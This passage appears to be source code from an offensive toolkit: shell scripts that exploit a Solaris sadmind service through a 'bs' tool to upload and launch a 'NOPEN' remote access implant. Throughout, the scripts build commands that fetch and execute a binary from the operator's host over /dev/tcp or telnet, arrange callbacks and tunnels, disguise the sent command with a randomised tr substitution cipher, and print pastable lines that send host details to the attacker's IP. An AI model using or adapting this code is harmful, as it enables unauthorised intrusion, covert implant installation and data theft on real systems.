# ls -al /proc/$pid/fd | grep \.uu\n$UULISTEN"
fi
done
fi # if ! $CMDOVERRIDE
if [ ! "$LOCAL_IP" ] ; then
if [ ! "`which grepip 2>/dev/null`" ] ; then
notered "\aMust have \"grepip\" in path or provide -l IP on command line"
exit
fi
for INT in ppp0 ppp1 eth0 eth1 ; do
ADDR=`ifconfig $INT 2>/dev/null | grepip | egrep -v "255|127\.0" | head -1`
[ "$ADDR" ] && LOCAL_IP=$ADDR
[ "$LOCAL_IP" ] && break
done
while [ ! "$LOCAL_IP" ] ; do
echo -en "What is your local/redirector IP address? "
[ "$LOCAL_IP" ] && echo -en "[$LOCAL_IP] "
read ans
[ "$ans" -a "${ans:0:1}" != "y" -a "${ans:0:1}" != "Y" ] && \
LOCAL_IP=$ans
LOCAL_IP=`echo $LOCAL_IP | grepip`
[ "$ans" ] && echo -e "\n\n\a$ans is not a valid IP. Try again.\n\n"
done
INT=" ($INT)"
note "Using $LOCAL_IP$INT for -l local IP argument"
fi
[ "$REMOTE_HOST" ] || usage exit "Error: missing remote host argument"
# Check for required args
[ -z "$REMOTE_IP" ] && usage exit "Error: missing remote IP (-i)"
[ -z "$REMOTE_HOST" ] && usage exit "Error: missing remote hostname"
[ -z "$SADMIND_ARG" ] && usage exit "Error: missing sadmindPort (-u)"
if [ ! "$CMDOVERRIDE" ] ; then
[ "${REMOTE_DIR:0:1}" = "/" ] ||
usage exit "\a\nREMOTEDIR ($REMOTE_DIR) must start with \"/\". Check # of args and order."
[ -z "$REMOTE_DIR" ] && usage exit "Error: missing remote directory (-D)"
[ -z "$REMOTE_FNAME" ] && usage exit "Error: missing remote filename (-r)"
[ -z "$LOCAL_IP" ] && usage exit "Error: missing local IP (-l)"
[ -z "$LOCAL_PORT" ] && usage exit "Error: missing local port (-n)"
fi
if [ "${REMOTE_IP:0:3}" = "127" ] ; then
REDIRECT=yes
ifconfig -a | grep $LOCAL_IP > /dev/null && NOTGOOD=yes
if [ "$NOTGOOD" ] ; then
$SETCOLOR_FAILURE
echo -e "ARE YOU SURE? It looks like you are redirecting (due to remote being $REMOTE_IP),
and yet you want the RAT callback to go to $LOCAL_IP, WHICH\a IS ONE OF YOUR LOCAL IPs???"
sleep 1
echo -en "\nHit ^C to abort or enter to continue DESPITE THIS PROBLEM!!\a"
$SETCOLOR_NORMAL
read blah
fi
if [ "$TARGETIP" ] ; then
DEFTARGET=$TARGETIP
else
DEFTARGET=`head /current/etc/opscript.txt 2>/dev/null | grepip 2>/dev/null | head -1`
fi
[ ! "$ACTUALTARGET" ] && [ "$DEFTARGET" ] && ACTUALTARGET=$DEFTARGET
until [ `echo $ACTUALTARGET | grepip 2>/dev/null` ] ; do
[ "$ACTUALTARGET" ] && echo Bad IP $ACTUALTARGET
echo -en "\nEnter Target IP after redirecting through $LOCAL_IP: "
[ "$DEFTARGET" ] && echo -en "[$DEFTARGET] "
read ACTUALTARGET
[ ! "$ACTUALTARGET" ] && [ "$DEFTARGET" ] && ACTUALTARGET=$DEFTARGET
done
note Redirecting via 127.0.0.1/$LOCAL_IP to $ACTUALTARGET
if [ "$TARGETIP" ] ; then
# This is set by autoattack which means domainname may still be needed
echo -en "\nEnter domainname to use if any: "
read D
[ "$D" ] && REMOTE_DOMAIN="-d ${D}"
fi
fi
if [ "$PACKRAT_SCRIPME" ] ; then
[ "$OLDCMD" ] || UUARG="-u"
EXPLOIT_SCRIPME="packrat$PACKARGS $UUARG $REMOTE_FNAME $NOSERVER $LOCAL_PORT"
note "Starting local packrat LISTENer to send noserver via port $LOCAL_PORT"
export EXPLOIT_SCRIPME
echo EXPLOIT_SCRIPME=\"$EXPLOIT_SCRIPME\" scripme -t PACKRAT -F -X \"-bg slategrey -fg white -geometry 131x55-0+0\"
EXPLOIT_SCRIPME="$EXPLOIT_SCRIPME" scripme -t PACKRAT -F -X "-bg slategrey -fg white -geometry 131x55-0+0"
fi
if [ "$CALLBACK" -a ! "$CALLBACKIP" ] ; then
CALLBACKIP="$LOCAL_IP"
else
if [ "$CALLBACK" -a ! "$LOCAL_IP" = "$CALLBACKIP" ] ; then
note "-C argument given for callback--overriding -l local IP from command line: $LOCAL_IP"
fi
fi
# if [ "$REDIRECT" ] ; then
# if [ "$CALLBACK" ] ; then
# note "\n\nYou will need two NOPEN windows on $CALLBACKIP\n"
# fi
# note Here are some pastables:
# PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP"`
# $SETCOLOR_NORMAL
# echo "FIRST/-tunnel nopen window on $LOCAL_IP:"
# note "\ncd /current/down\n${PASTABLE}"
# note "-tunnel\n\nu ${SADMIND_ARG:3} $ACTUALTARGET\n\nr $LOCAL_PORT\n\ns\n"
# echo "" | nc -w1 -u 127.0.0.1 38787
# if [ ! "$CALLBACK" ] ; then
# notered "Hit ^C to abort or enter once NOPEN -tunnel window is ready"
# read blah
# fi
# fi
if [ "$CALLBACK" ] ; then
RAT_PREARGS=" S=$CALLBACKDELAY D=\"-c${CALLBACKIP}:${NOPENPORT}\""
if [ "$REDIRECT" ] ; then
notered "\aYou must establish a NOPEN listener on $CALLBACKIP:$NOPENPORT\n\n"
PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP"`
[ "$PASTABLE" ] && PASTABLE="\ncd /current/down\n${PASTABLE}"
ifconfig -a | grep $CALLBACKIP && ITSLOCAL=yes
if [ "$ITSLOCAL" ] ; then
echo "remote nopen window on $CALLBACKIP AND local listener:"
note "\ncd /current/down/\n${PASTABLE}\n/current/bin/noclient -l $NOPENPORT\n\n"
else
echo "remote nopen window on $CALLBACKIP:"
note "${PASTABLE}\n\n-nrtun $NOPENPORT\n\n"
# PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP" | sed "s/noclient/noclient -c \"-nrtun $NOPENPORT\"/"`
# EXPLOIT_SCRIPME="${PASTABLE}" scripme -t NOCLIENT -F -X " -geometry 131x55"
fi
notered -n "Hit ^C to abort or enter once NOPEN callback window is ready"
read blah
else # not redirecting
POSTRUN="noclient -l $NOPENPORT"
fi
else # not callback
RAT_PREARGS=" D=\"-l${NOPENPORT}\""
if [ "$REDIRECT" ] ; then
POSTRUN2="-nstun $ACTUALTARGET ${NOPENPORT}"
else
POSTRUN2="noclient ${REMOTE_IP}:${NOPENPORT}"
fi
fi
if [ ! "$CMDOVERRIDE" ] ; then
if [ ! "$NOZIP" ] ; then
UNCOMPRESS="&& uncompress -f ${REMOTE_FNAME}.Z"
[ "$OLDCMD" ] || UNCOMPRESS=".Z&&uncompress -f ${REMOTE_FNAME}.Z"
fi
# this one has more spaces...don't use unless other fails...
CMD="mkdir -p ${REMOTE_DIR} && cd ${REMOTE_DIR} && telnet ${LOCAL_IP} ${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1${UNCOMPRESS}&& chmod 755 ${REMOTE_FNAME} && PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}"
CMD="mkdir -p ${REMOTE_DIR}&&cd ${REMOTE_DIR}&&/bin/ksh -c \"/bin/cat < /dev/tcp/${LOCAL_IP}/${LOCAL_PORT} > ${REMOTE_FNAME}${UNCOMPRESS}&&chmod 755 ${REMOTE_FNAME}&&PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}\""
if [ "$OLDCMD" ] ; then
CMD="mkdir -p ${REMOTE_DIR}&&cd ${REMOTE_DIR}&&telnet ${LOCAL_IP} ${LOCAL_PORT}</dev/console|uudecode>/dev/null 2>&1 ${UNCOMPRESS}&&PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}"
fi
else
CMD=""
$SETCOLOR_NOTE
[ ! "$REMOTE_DIR" = "/tmp" ] && TMP=" rm -rf ${REMOTE_DIR} ; ls -arlt /tmp ;"
[ ! "$TMP" ] && TMP=" rm -rf ${REMOTE_DIR}/$REMOTE_FNAME ;"
echo -e "You may want to start something like this locally (YOU do this netcat--it is not automatic):\n"
notered "LOCALLY:"
echo -e " nc -l -p 443"
echo ""
notered "Some pastable examples for the REMOTE end (pick one, or mix and match--up to you):"
echo -e " ksh -c \"( w ; uname -a ) > /dev/tcp/$LOCAL_IP/443\""
echo -e " ( w ; uname -a ) | telnet $LOCAL_IP 443"
echo -e " ksh -c \"($TMP ls -alrt ${REMOTE_DIR} ) > /dev/tcp/$LOCAL_IP/443\""
echo -e " ($TMP ls -alrt ${REMOTE_DIR} ) | telnet $LOCAL_IP 443"
echo -e " ($TMP ls -alrt ${REMOTE_DIR} ) | telnet $LOCAL_IP `mkrandom -n 2>/dev/null`"
echo ""
while [ ! "$CMD" ] ; do
notered "Enter Commands to run on target (see above examples), separated by \";\".\n"
read CMD
done
note "\nCommands being run: $CMD\n"
fi # if $CMDOVERRIDE
# this is unused for now--old bs.tn.gr way
OLDOLDCMD="echo \"
PATH=/usr/openwin/bin:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/gnu/bin:/usr/ucb:/usr/X11R6/bin
export PATH
mkdir -p ${REMOTE_DIR}
cd ${REMOTE_DIR}
(echo 'open ${LOCAL_IP} ${LOCAL_PORT}';/bin/cat)| /bin/telnet | /bin/cat| /usr/bin/uudecode > /dev/null 2>&1
uncompress -f ${REMOTE_FNAME}.Z
chmod 0700 ${REMOTE_DIR}/${REMOTE_FNAME}
PATH=${REMOTE_DIR}${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}
rm ${SCRIPT}
\" > ${SCRIPT}
/bin/sh ${SCRIPT}"
if [ ! "$NO_TR" ] ; then
# tr sets
#SET1="'0-}'"
#SET2="'1-~'"
ALPHA="ABCDEFGHIJKLMNOPQRSTUVWXYZ./abcdefghijklmnopqrstuvwxyz0123456789 <&"
THERE=`which permute 2>/dev/null`
if [ ! "$THERE" ] ; then
if [ -x "../bin/permute" ] ; then
export PATH=../bin:$PATH
else
usage exit "FATAL ERROR: No \"permute\" in path."
fi
fi
SET1=`permute "$ALPHA"`
SET2=`permute "$SET1"`
MUNGED="`echo "${CMD}" | tr "${SET1}" "${SET2}"`"
UNMUNGED="`echo \"${MUNGED}\" | tr "${SET2}" "${SET1}"`"
echo "
munging via:
tr \"$SET1\" \"$SET2\"
and vice versa.
MUNGED=\"$MUNGED\"
UNMUNGED=\"$UNMUNGED\"
"
if [ "$SET1" = "$SET2" ] ; then
echo "SET1=\"$SET1\""
usage exit "FATAL ERROR. SET1 is the same as SET2."
fi
if [ ! "$UNMUNGED" = "$CMD" ] ; then
echo "$UNMUNGED" > /tmp/UNMUNGED.$$
echo "$CMD" > /tmp/CMD.$$
cmp /tmp/UNMUNGED.$$ /tmp/CMD.$$
wc /tmp/UNMUNGED.$$ /tmp/CMD.$$
usage "FATAL ERROR. UNMUNGE TEST FAILED"
else
echo -e "PASSSED TEST: \$CMD eq \$UNMUNGED.\n"
fi
$SETCOLOR_NOTE
echo -e "Running:\n
bs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \
-c \"echo '${MUNGED}'|tr '${SET2}' '${SET1}'|sh\"\n"
else
notered "\a\nNOT MUNGING--CMD going over in the clear.\n\n"
echo -e "Running:\n
bs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \
-c \"$CMD\"\n"
fi
if [ "$POSTRUN" ] ; then
echo -e "AND THEN the following will start automatically:\n\n$POSTRUN$COLOR_NORMAL\n"
fi
notered "Hit ^C to abort or enter to continue"
read blah
if [ "$REDIRECT" ] ; then
note "Sending tunnel commands to 127.0.0.1:$TUNNELPORT"
if [ $ATTEMPT -eq 1 ] ; then
# tunnelcmd c 1 2
tunnelcmd u $SADMIND_PORT $ACTUALTARGET
else
tunnelcmd c 2
fi
tunnelcmd r $LOCAL_PORT
tunnelcmd s
fi
while [ 1 ] ; do
# Now check what we can before continuing
echo ""
while [ 1 ] ; do
if [ "$CALLBACK" ] ; then
if [ "$REDIRECT" ] ; then
OKNRTUN=`netstat -an | grep "^tcp.*:$NOPENPORT " | egrep "ESTAB|LISTEN"`
else
OKNRTUN=okeydokey
fi
else
OKNRTUN=okeydokey
fi
[ "$REDIRECT" ] || OKUDP=okeydokey
[ "$REDIRECT" ] && OKUDP=`netstat -an | grep "^udp.*0 0.0.0.0:$SADMIND_PORT "`
OKPACKRAT=`netstat -an | grep "^tcp.*0.0.0.0:$LOCAL_PORT .*LISTEN"`
[ "$CMDOVERRIDE" ] && OKPACKRAT=nevermind
[ "$OKUDP" ] || notered "No udp/$SADMIND_PORT seen locally in netstat"
if [ ! "$OKNRTUN" ] ; then
notered "No -nrtun or noclient -l for callback seen locally on port $NOPENPORT in netstat"
note "${PASTABLE}\n\n-nrtun $NOPENPORT\n\n"
fi
if [ ! "$OKPACKRAT" ] ; then
if [ "$OKUDP" -a "$OKNRTUN" ] ; then
notered "waiting for packrat to start on port $LOCAL_PORT"
else
notered "No packrat seen locally on port $LOCAL_PORT in netstat"
fi
fi
[ "$OKUDP" ] && [ "$OKNRTUN" ] && [ "$OKPACKRAT" ] && break
[ "$OKUDP" ] && [ "$OKNRTUN" ] && sleep 2 && continue
unset OKUDP OKNRTUN OKPACKRAT
notered "\a\n\nCANNOT PROCEED"
notered "\a\n\nFix this and either ^C or hit Enter to try again."
read blah
done
rm -f /tmp/bsoutput.$$
if [ ! "$NO_TR" ] ; then
note "\n\nrunning this locally (using tr remotely):\n\nbs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \
-c \"echo '${MUNGED}' | tr '${SET2}' '${SET1}'|sh\" 2>&1 | tee /tmp/bsoutput.$$\n\n"
bs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \
-c "echo '${MUNGED}' | tr '${SET2}' '${SET1}'|sh" 2>&1 | tee /tmp/bsoutput.$$
else
note "\n\nrunning this locally:\n\nbs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \
-c \"$CMD\" 2>&1 | tee /tmp/bsoutput.$$\n\n"
bs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \
-c "$CMD" 2>&1 | tee /tmp/bsoutput.$$
fi
HOSTERR=`grep "Security exception on host" /tmp/bsoutput.$$ | sed "s/.*Security exception on host //" | sed "s/. USER ACCESS DENIED.*//"`
rm -f /tmp/bsoutput.$$
[ "$HOSTERR" ] || break
$SETCOLOR_FAILURE
echo -e "\n\nERROR OUTPUT FROM bs!!\n\n"
if [ "-h $HOSTERR" = "$REMOTE_HOST" ] ; then
echo -e "ERROR! Correct host but need different domain (\"$REMOTE_DOMAIN\" failed)."
$SETCOLOR_NORMAL
echo -en "Enter new domain or ^C to abort (hit enter to try no domain at all): "
read ans
REMOTE_DOMAIN=""
[ "$ans" ] && REMOTE_DOMAIN="-d ${ans}"
echo -e "\n\nTrying domain \"$REMOTE_DOMAIN\"\n\n"
else
echo -e "ERROR! Wrong host. They suggest \"$HOSTERR\", so try that."
$SETCOLOR_NORMAL
echo -en "Enter new host or ^C to abort: [$HOSTERR] "
read ans
[ "$ans" ] || ans="$HOSTERR"
REMOTE_HOST="-h ${ans}"
echo -e "\n\nTrying host \"$REMOTE_HOST\"\n\n"
fi
done
if [ "$POSTRUN" ] ; then
notered "\n\n\aNOTE: Callback will not occur for $CALLBACKDELAY seconds or more"
notered " and MAYBE NOT until upload completes AND you ^C the netcat upload.\n\n"
notered "\nNow running nopen listener with: $POSTRUN\n"
exec $POSTRUN
fi
# if [ "$REDIRECT" ] ; then
# note "\n\nFor your -tunnel window once all is done:\n\nc 1 2\n\nq\n\n"
# fi
if [ "$POSTRUN2" ] ; then
note "\nOnce you see all is done, you may want to proceed with:\n\n$POSTRUN2\n\n"
notered NOTE: Listener may not be active until you ^C the netcat upload.
fi
} # end doit procedure
if [ "$ARCH" ] ; then
NOSERVER=`ls -1 /current/up/morerats/noserver*solaris-2.6 2>/dev/null | grep -i ${ARCH} | tail -1`
fi
[ "$NOSERVER" ] || NOSERVER=/current/up/noserver
ATTEMPT=1
while [ 1 ] ; do
if [ "$ARGS" ] ; then
OPTIND=1
doit $ARGS
else
ARGS="${*}"
doit ${*}
fi
note "\n\n$PROG attempt number $ATTEMPT is complete."
if [ "$CALLBACK" ] ; then
$SETCOLOR_FAILURE
echo -e "\nNOTE: Callback will not happen until $CALLBACKDELAY seconds or more have passed.\n"
while [ $CALLBACKDELAY -ge 0 ] ; do
echo -en "\rCounting down: $CALLBACKDELAY "
CALLBACKDELAY=`expr $CALLBACKDELAY - 1`
sleep 1
done
fi
notered "\n\nIf this is your last sploit, you can close down the -tunnel
currently listening on $TUNNELPORT with this at any local prompt:
$COLOR_NORMAL
/current/bin/closetunnel\n\n"
note "\nIf it worked, hit return to exit.\n"
notered -n "Do you want to try again? [N] "
read ans
[ ! "$ans" -o "${ans:0:1}" = "n" -o "${ans:0:1}" = "N" ] && break
# echo -e "$usagetext"
notered "\nIf \"ksh\" method might have failed, add the -t argument to try the old telnet way."
notered "If \"tr\" method might have failed, add the -T argument to disable munging."
notered "If still failing after trying -t, -T and -tT, try bs.tn.gr_USE_WHEN_bs.auto_FAILS."
note "\nIf desired, use the -C command to override what commands are executed on target."
note "\nYour previous arguments were:"
echo "$ARGS"
notered "\n\nJust hit return to try the same arguments again, or input a new and complete argument\nstring to use (e.g., add -T if you think \"tr\" failed)."
read ans
if [ "$ans" ] ; then
ARGS="${ans}"
fi
ATTEMPT=`expr $ATTEMPT + 1`
done
# disabled this for now 20030603
#if [ "$REDIRECT" ] ; then
# note "Closing down -tunnel ports"
# tunnelcmd c 1 2
# tunnelcmd q
#fi
ps -efwwww | grep PACKRAT | grep -v grep && \
notered "\n\nYou need to close packrat window before this one can exit.\n\n"

598
Linux/bin/bs.auto.old2 Executable file
View file

@ -0,0 +1,598 @@
#!/bin/sh
# Defaults
PROG=`basename ${0}`
VER="2.5"
ERRSLEEP=0
TUNNELPORT=`grep "# setting up tunneling on port" /current/etc/autoattacknext.last 2>&1 | awk '{print $7}'`
[ "$TUNNELPORT" ] || TUNNELPORT=18787
COLOR_SUCCESS="\\033[1;32m"
COLOR_FAILURE="\\033[1;31m"
COLOR_WARNING="\\033[1;33m"
COLOR_NORMAL="\\033[0;39m"
COLOR_NOTE="\\033[0;34m"
COLOR_WHITE="\\033[4;97m"
SETCOLOR_SUCCESS="echo -en $COLOR_SUCCESS"
SETCOLOR_FAILURE="echo -en $COLOR_FAILURE"
SETCOLOR_WARNING="echo -en $COLOR_WARNING"
SETCOLOR_NORMAL="echo -en $COLOR_NORMAL"
SETCOLOR_NOTE="echo -en $COLOR_NOTE"
SETCOLOR_WHITE="echo -en $COLOR_WHITE"
# usagetext here so this can be used globally
usagetext="
Usage:
[E=ratpreargs] [A=ratpostargs] $PROG [options] remoteIP remoteHost \\
[remoteDomain] \\
sadmindPort remoteDir remoteName localIP [localPort]
$PROG uploads and runs NOPEN via ./bs.
Unless the -T option is used, $PROG uses the remote system's tr program
(see \"man tr\") to unmunge the string sent via bs into the commands we
want him to execute. Detail below. And $PROG will build and show the
munged and unmunged strings, prompting to abort or continue before any
packets are sent.
If localPort is omitted, $PROG looks for a current port LISTENing and
prompts for confirmation.
$COLOR_FAILURE
NOTE: \a THE NEW WAY REQUIRES NO UU*CODE NOR ANY E=\"ratpreargs\"!!!!\n
NOTE: \a THE NEW WAY REQUIRES NO UU*CODE NOR ANY E=\"ratpreargs\"!!!!
$COLOR_NORMAL
OPTIONS
-t Use the OLDCMD/telnet/uudecode method instead of the default
CMD/ksh.$COLOR_FAILURE NOTE: This DOES require uudecode.$COLOR_NORMAL
-T Do NOT use tr at all (can be used with or without -t).
-p # Use port # for RAT listen/callback. By default, a random number
is generated and used.
-s # Change delay used for -c to # seconds (must appear before -c).
-l IP Local IP to have NOPEN callback to. (defaults to localIp on
command line. This is the IP NOPEN calls back--see -c below.)
-c Use NOPEN syntax to have RAT callback after a delay (default
delay is $CALLBACKDELAY seconds). Port is random unless -p used.
-z Do NOT use uncomrpess at the far end (so you should not use
compress here).
-C Run specific commands on target, not the usual (you are prompted
for the command string to send).
-P Assume PATH=. will fail so use ./ratname.
NOTE: The E=ratpreargs is still usable, but ${COLOR_FAILURE}not necessary${COLOR_NORMAL}, since
the default is now to start a random port listener, and -c argument
allows for a NOPEN callback.
ratpreargs : a string put on remote command line right after
PATH=. and before remoteName (NOTE: If using -l/c
options above this is no longer necessary.)
ratpostargs : a string put on remote command line after running
remoteName (e.g., \" ; rm sendmail\")
Command sent to bs will be munged (unless -T is used) from one of:
OLDCMD=\"cd /tmp;mkdir -p \${REMOTE_DIR} && cd \${REMOTE_DIR};telnet \${LOCAL_IP} \${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1 && uncompress -f \${REMOTE_FNAME}.Z && chmod 755 \${REMOTE_FNAME} && PATH=.\${RAT_PREARGS} \${DOTSLASH}\${REMOTE_FNAME}\${RAT_POSTARGS}\"
CMD=\"cd /tmp;mkdir -p \${REMOTE_DIR} && cd \${REMOTE_DIR};/bin/ksh -c \"cat < /dev/tcp/\${LOCAL_IP}/\${LOCAL_PORT} > \${REMOTE_FNAME}.Z && uncompress -f \${REMOTE_FNAME}.Z && chmod 755 \${REMOTE_FNAME} && PATH=.\${RAT_PREARGS} \${DOTSLASH}\${REMOTE_FNAME}\${RAT_POSTARGS}\"\"
OR if -T is used, above will be used but will not be munged at all.
Syntax (repeated here for readability):
[E=ratpreargs] [A=ratpostargs] $PROG [options] remoteIP remoteHost \\
[remoteDomain] \\
sadmindPort remoteDir remoteName localIP [localPort]
"
note() {
$SETCOLOR_NOTE
echo -e "${*}\n"
$SETCOLOR_NORMAL
}
notered() {
$SETCOLOR_FAILURE
echo -e "${*}\n"
$SETCOLOR_NORMAL
}
tunnelcmd() {
echo "${*}" | nc -w1 -u 127.0.0.1 $TUNNELPORT
}
usage() {
[ "$1" = "exit" ] && EXIT=1 && shift
if [ "$1" = "-h" ] ; then
shift
[ "$ERRSTR" ] || ERRSTR="\nNOTE: \a THE NEW WAY REQUIRES NO UU*CODE NOR ANY E=\"ratpreargs\"!!!!"
echo -e "$usagetext"
fi
if [ "$1" = "-v" ] ; then
echo "$PROG version $VER"
shift
fi
ERRSTR="${*}"
if [ "$ERRSTR" ] ; then
notered "\a${ERRSTR}"
fi
[ "$EXIT" ] && exit
} # end usage
doit() {
#echo DBG
#set
#echo DBG
CMDLINE="\nCommandLine: ${0} ${*}"
CALLBACKDELAY=30
# lab testing?
ifconfig 2>&1 | grep "135.1\.2\." > /dev/null && CALLBACKDELAY=4
unset NOPENPORT CALLBACKIP CALLBACK OLDCMD NO_TR NOZIP PACKARGS DOTSLASH CMDOVERRIDE SCRIPT
unset UNCOMPRESS REDIRECT UUARG
while getopts p:cl:ths:zPvCS:T op; do
case $op in
E) RAT_PREARGS=" $OPTARG";;
A) RAT_POSTARGS=" $OPTARG";;
p) NOPENPORT="$OPTARG";;
l) CALLBACKIP="$OPTARG";;
c) CALLBACK=" callback";;
t) OLDCMD="yes";;
T) NO_TR="yes";;
s) CALLBACKDELAY="$OPTARG";;
z) NOZIP=yes
PACKARGS=" -z" ;;
h) usage exit -h ;;
v) usage exit -v ;;
# r) RAT_NAME="$OPTARG";;
P) DOTSLASH="./";;
C) CMDOVERRIDE=yes ;;
S) SCRIPT="$OPTARG" ;;
esac
done
[ "$SCRIPT" ] || SCRIPT="...."
# [ "$RAT_NAME" ] || RAT_NAME=sendmail
if [ ! "$CMDOVERRIDE" ] ; then
if [ ! "$NOPENPORT" ] ; then
NOPENPORT=`mkrandom -n 2>/dev/null`
fi
if [ ! "$NOPENPORT" ] ; then
usage "mkrandom not in path--needed to generate random port for NOPEN\n(use -p # to force a particular port)"
return
fi
fi
shift `expr $OPTIND - 1`
[ "$E" ] && RAT_PREARGS=" $RAT_PREARGS $E" && echo "RAT_PREARGS=\"$RAT_PREARGS\""
[ "$A" ] && RAT_POSTARGS=" $RAT_POSTARGS $A" && echo "RAT_POSTARGS=\"$RAT_POSTARGS\""
echo ""
REMOTE_IP="-i ${1}"
REMOTE_HOST="-h ${2}"
[ "$HOSTERR" ] && REMOTE_HOST="-h ${HOSTERR}"
[ "$1" = "-v" ] && usage
if [ $# -lt 6 ] ; then
usage exit -h -v "Too few arguments"
fi
if [ "${4:0:1}" = "/" ] ; then
SADMIND_PORT="-p ${3}"
REMOTE_DIR="${4}"
REMOTE_FNAME="${5}"
LOCAL_IP="${6}"
LOCAL_PORT="${7}"
elif [ "${5:0:1}" = "/" ] ; then
REMOTE_DOMAIN="-d ${3}"
SADMIND_PORT="-p ${4}"
REMOTE_DIR="${5}"
REMOTE_FNAME="${6}"
LOCAL_IP="${7}"
LOCAL_PORT="${8}"
else
usage "\a\nREMOTEDIR ($4 or $5) must start with \"/\". Check # of args and order."
fi
# show what we were called with
echo -e "$CMDLINE"
# Check to make sure tcp LISTEN is there
PORTS=`netstat -an | grep tcp.*LIST | cut -f 2 -d ":" | sort -rn | awk '{print $1}' |egrep -v "6000"`
if [ "$NOPENPORT" ] ; then
note "Using random NOPEN$CALLBACK port $NOPENPORT"
fi
note Local ports LISTENing: $PORTS
echo
which packrat >/dev/null 2>&1
NOPACKRAT=$?
if [ ! "$CMDOVERRIDE" ] ; then
if [ "$TARGETIP" ] ; then
# autoattack mode so yes we want packrat
PACKRAT_SCRIPME=yes
else
if [ "$LOCAL_PORT" ] ; then
for i in $PORTS -1 ; do
[ "$i" = "$LOCAL_PORT" ] && break
done
if [ $i -lt 0 ] ; then
if [ -e $NOSERVER -a "$NOPACKRAT" = "0" ] ; then
echo -ne "The file /current/up/noserver exists, and you have no LISTENer on port ${LOCAL_PORT}.
Do you want me to start a packrat listener on $LOCAL_PORT in another window for you? [Y] "
read ans
[ ! "$ans" -o "${ans:0:1}" = "y" -o "${ans:0:1}" = "Y" ] && \
PACKRAT_SCRIPME=yes
else
[ "$NOPACKRAT" = "0" ] || notered "No packrat in your path"
notered "YOU MUST have a local LISTEN port on $LOCAL_PORT, and YOU DO NOT have /current/up/noserver\n\ato start one automatically"
sleep 3
notered "\a\nProceeding, assuming YOU WILL EITHER ABORT OR START LISTENER before continuing\npast next prompt."
fi
else
notered "\aLocalPort=$LOCAL_PORT provided on command line already LISTENing. Assuming that is the upload."
sleep 2
fi
else
for i in $PORTS -1 ; do
[ $i -lt 0 ] && break
echo -n "Is $i your localPort for RAT upload (Yes, No, Run a new/fresh one for me)? [R] "
read ans
[ "$ans" ] || break
[ "$ans" = "R" -o "$ans" = "r" ] && i=-1 && break
[ "${ans:0:1}" = "y" -o "${ans:0:1}" = "Y" ] && break
done
[ "$ans" = "" ] && i=-1
[ $i -lt 0 ] || LOCAL_PORT=$i
if [ ! "$LOCAL_PORT" ] ; then
while [ 1 ] ; do
LOCAL_PORT=`mkrandom -n 2>/dev/null`
[ ! "$LOCAL_PORT" ] && usage "mkrandom not in path--needed to generate random rat upload port"
ALREADYTHERE=`netstat -an | grep tcp.*LIST | grep ":$LOCAL_PORT "`
[ "$ALREADYTHERE" ] || break
done
note "Using a random port ($LOCAL_PORT) for local RAT upload listener (packrat)"
if [ -e /current/up/noserver ] ; then
if [ "$NOPACKRAT" = "0" ] ; then
PACKRAT_SCRIPME=yes
else
usage "No packrat in your path$COLOR_NORMAL"
fi
else
usage Put correct noserver into /current/up/noserver and try again
return
fi
fi
fi
fi
for pid in `pidof nc` ; do
UULISTEN=`ls -al /proc/$pid/fd | grep \.uu`
if [ "$UULISTEN" ] ; then
usage "NOT GOOD: Your netcat LISTEN seems to be sending a .uu file--DO NOT (see usage):
# ls -al /proc/$pid/fd | grep \.uu\n$UULISTEN"
fi
done
fi
# Check for required args
[ -z "$REMOTE_IP" ] && usage "Error: missing remote IP"
[ -z "$REMOTE_HOST" ] && usage "Error: missing remote hostname"
[ -z "$SADMIND_PORT" ] && usage "Error: missing sadmindPort ($SADMIND_PORT)"
[ -z "$REMOTE_DIR" ] && usage "Error: missing remote directory"
[ -z "$REMOTE_FNAME" ] && usage "Error: missing remote filename"
[ -z "$LOCAL_IP" ] && usage "Error: missing local IP"
[ -z "$LOCAL_PORT" ] && usage "Error: missing local port"
if [ "${REMOTE_IP:3:3}" = "127" ] ; then
REDIRECT=yes
ifconfig -a | grep $LOCAL_IP > /dev/null && NOTGOOD=yes
if [ "$NOTGOOD" ] ; then
$SETCOLOR_FAILURE
echo -e "ARE YOU SURE? It looks like you are redirecting (due to remote being $REMOTE_IP),
and yet you want the RAT callback to go to $LOCAL_IP, WHICH\a IS ONE OF YOUR LOCAL IPs???"
sleep 1
echo -en "\nHit ^C to abort or enter to continue DESPITE THIS PROBLEM!!\a"
$SETCOLOR_NORMAL
read blah
fi
if [ "$TARGETIP" ] ; then
DEFTARGET=$TARGETIP
# This is set by autoattack which means domainname may still be needed
echo -en "\nEnter domainname to use if any: "
read D
[ "$D" ] && REMOTE_DOMAIN="-d ${D}"
else
DEFTARGET=`head /current/etc/opscript.txt 2>/dev/null | grepip 2>/dev/null | head -1`
fi
[ ! "$ACTUALTARGET" ] && [ "$DEFTARGET" ] && ACTUALTARGET=$DEFTARGET
until [ `echo $ACTUALTARGET | grepip 2>/dev/null` ] ; do
[ "$ACTUALTARGET" ] && echo Bad IP $ACTUALTARGET
echo -en "\nEnter Target IP after redirecting through $LOCAL_IP: "
[ "$DEFTARGET" ] && echo -en "[$DEFTARGET] "
read ACTUALTARGET
